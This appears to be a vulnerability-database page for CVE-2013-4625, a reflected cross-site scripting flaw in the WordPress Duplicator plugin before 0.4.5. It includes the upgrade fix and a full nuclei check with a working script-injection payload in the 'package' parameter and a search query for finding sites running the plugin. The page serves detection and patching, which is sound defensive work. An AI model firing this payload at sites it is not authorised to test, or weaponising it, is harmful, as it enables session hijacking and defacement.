HexBrain

Browse / CVEs / CVE-2013-4625

CVE-2013-4625· cory lamle / duplicator· CWE-79

WordPress Plugin Duplicator < 0.4.5 - Cross-Site Scripting

mediumseverity
4.3CVSS score
11.1%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

A cross-site scripting vulnerability in files/installer.cleanup.php in the Duplicator plugin before 0.4.5 for WordPress allows remote attackers to inject arbitrary web script or HTML via the package parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the target website, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to Duplicator 0.4.5 or later.

How to confirm it

Send: GET /wp-content/plugins/duplicator/readme.txt
Positive when: contains "Duplicator - WordPress Migration"
Send: GET {{BaseURL}}/wp-content/plugins/duplicator/files/installer.cleanup.php?remove=1&package=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscr…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2013-4625 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2013-4625

info:
  name: WordPress Plugin Duplicator < 0.4.5 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting  vulnerability in files/installer.cleanup.php in the Duplicator plugin before 0.4.5 for WordPress allows remote attackers to inject arbitrary web script or HTML via the package parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the target website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Upgrade to Duplicator 0.4.5 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2013-4625
    - https://packetstormsecurity.com/files/122535/WordPress-Duplicator-0.4.4-Cross-Site-Scripting.html
    - https://seclists.org/bugtraq/2013/Jul/160
    - https://www.htbridge.com/advisory/HTB23162
    - http://packetstormsecurity.com/files/122535/WordPress-Duplicator-0.4.4-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2013-4625
    cwe-id: CWE-79
    epss-score: 0.11062
    epss-percentile: 0.95951
    cpe: cpe:2.3:a:cory_lamle:duplicator:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "cory_lamle"
    product: duplicator
    google-query: "inurl:\"/wp-content/plugins/duplicator\""
  tags: cve2013,cve,seclists,wordpress,xss,wp-plugin,packetstorm,cory_lamle,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/duplicator/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Duplicator - WordPress Migration'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/duplicator/files/installer.cleanup.php?remove=1&package=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from